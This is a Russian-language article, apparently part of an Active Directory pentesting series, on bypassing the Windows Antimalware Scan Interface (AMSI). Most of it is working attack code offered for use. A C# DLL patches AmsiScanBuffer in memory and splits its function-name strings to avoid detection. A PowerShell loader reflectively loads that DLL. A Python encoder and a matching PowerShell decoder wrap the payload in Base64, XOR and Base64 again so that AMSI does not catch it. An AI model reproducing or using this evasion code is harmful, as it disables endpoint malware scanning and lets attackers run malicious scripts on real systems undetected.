Antimalware Scan Interface (AMSI) позволяет приложениям и службам интегрироваться с любым имеющимся на компьютере продуктом для защиты от вредоносных программ. AMSI не зависит от поставщика антивирусных решений. Он разработан c учетом наиболее распространенных методов сканирования и защиты от них. К тому же AMSI поддерживает структуру вызовов, позволяющую сканировать файлы, память или поток, проверять URL/IP-адреса источника. Таким образом, AMSI сканирует, находит и блокирует все, что, по его мнению, может нанести вред системе.
Другие статьи на тему пентеста Active Directory:
- Защита от обнаружения при атаке на Active Directory
- Как обойти AppLocker при атаке на Active Directory
- Захват Active Directory на виртуальной машине с HackTheBox
По умолчанию AMSI работает с Microsoft Defender. Защитник Windows отменит свою регистрацию в качестве поставщика AMSI и отключится, когда другой антивирусный движок зарегистрируется в этом качестве.
Ошибки выполнения кода, вызываемые AMSI, можно получить при использовании таких известных сценариев, как PowerShell Empire или PowerSploit. На самом деле AMSI детектирует вредоносное ПО на основе известных строк. К примеру, если хоть где-то в коде встретится строка amsiutils, дальнейшее выполнение кода будет заблокировано.
Обойти сканирование на основе известных строк легко: достаточно не использовать строки в целом виде. То есть, если мы разобьем строку amsiutils на строки ams, iut и ils, код будет успешно выполнен.
Но при использовании серьезных сценариев этот трюк может не сработать. Таким образом, мы можем вообще уйти от конкатенации разделенных строк благодаря простому кодированию и декодированию строк. Таким способом мы получим исходную строку в момент выполнения. В качестве кодировки можно использовать Base64.
Но если мы сгенерируем полезную нагрузку и закодируем ее в Base64, то AMSI все равно ее распознает (не помогает скрыться даже двойное кодирование Base64)! Поэтому куда более надежным способом будет использование XOR.
Но XOR тоже можно распознать, правда для этого потребуется более высокая абстракция. Поэтому лучше использовать комбинированные решения: например, XOR + Base64, Base64 + ROT13.
Как мы уже говорили в прошлых статьях, гораздо удобнее немного модернизировать средство защиты, тем самым меняя его функциональные возможности. То же самое и с AMSI: обход строк — это хорошо, но лучше, когда оператор использует полные скрипты и ему ничего не мешает.
AMSI имеет несколько функций, которые выполняются перед запуском любого кода PowerShell (начиная с PowerShell 3.0), поэтому, чтобы полностью обойти AMSI и выполнить любой вредоносный скрипт PowerShell, оператору необходимо внести поправки непосредственно в памяти.
AMSI защищает PowerShell, загружая библиотеку amsi.dll в область памяти PowerShell. При этом AMSI не различает пользователя с низкими привилегиями и привилегированного пользователя, такого как администратор какой-нибудь службы. AMSI загружает свою DLL для любого экземпляра PowerShell и сканирует консоль PowerShell с помощью Windows Defender, чтобы определить, следует ли блокировать операцию с полезной нагрузкой или разрешить ее выполнение.
Для начала необходимо собрать DLL-библиотеку, которая будет отключать AMSI. Немного изменив код (представленный на одной из конференций — сейчас я уже не вспомню, на какой), чтобы уйти от использования слов AMSI, BYPASS и подобных, получаем следующую DLL:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
using System; using System.Runtime.InteropServices; public class A { static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; public static void B() { if (is64Bit()) PA(x64); else PA(x86); } private static void PA(byte[] patch) { try { var lib = Win32.LoadLibrary("amsi.dll"); var addr = Win32.GetProcAddress(lib, "Am" + "siS" + "ca" + "nBu" + "ffer"); uint oldProtect; Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect); Marshal.Copy(patch, 0, addr, patch.Length); } catch (Exception e) { Console.WriteLine(" [x] {0}", e.Message); Console.WriteLine(" [x] {0}", e.InnerException); } } private static bool is64Bit() { bool is64Bit = true; if (IntPtr.Size == 4) is64Bit = false; return is64Bit; } } class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } |
Теперь используем PowerShell-скрипт для загрузки DLL и выполнения целевой функции. Исходный сценарий, который работал на момент представления этой методики на конференции, уже легко обнаруживается AMSI.
1 2 3 4 5 6 7 8 |
function B-A { if(-not ([System.Management.Automation.PSTypeName]"A").Type) { [Reflection.Assembly]::Load([Convert]::FromBase64String("DLL библиотека в BASE64")) | Out-Null Write-Output "DLL has been reflected"; } [A]::B() } |
Это происходит потому, что AMSI способен снять кодировку Base64. Но можно комбинировать методы обхода. К примеру, Base64 + XOR + Base64. Закодируем DLL с помощью следующего скрипта на Python.
1 2 3 4 5 6 7 8 9 10 11 12 |
#!/usr/bin/python3 import base64 with open("./AB.dll", "rb") as file: dll = file.read() enc = base64.b64encode(dll) encxor = bytes( [ 96^byte for byte in enc ] ) encenc = base64.b64encode(encxor) print(encenc) |
Тогда PowerShell-скрипт будет выглядеть следующим образом.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
function A-B { if(-not ([System.Management.Automation.PSTypeName]"A").Type) { $encenc = "Закодированная DLL библиотека" $enc = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($encenc)) $dec=@() foreach($byte in [Text.Encoding]::UTF8.GetBytes($enc)){ $dec += $byte -bxor 96 } $u = [Text.Encoding]::UTF8.GetString($dec) [Reflection.Assembly]::Load([Convert]::FromBase64String($u)) | Out-Null Write-Output "DLL has been reflected" } [A]::B() } |
Это очень полезная и удобная техника, позволяющая работать со скриптами, которые AMSI блокировал.
Другие статьи на тему пентеста Active Directory
- Взлом и защита Active Directory
- Техника Lateral Movement при атаке на домен
- Поиск учетных записей и служб в сетях Windows без привилегий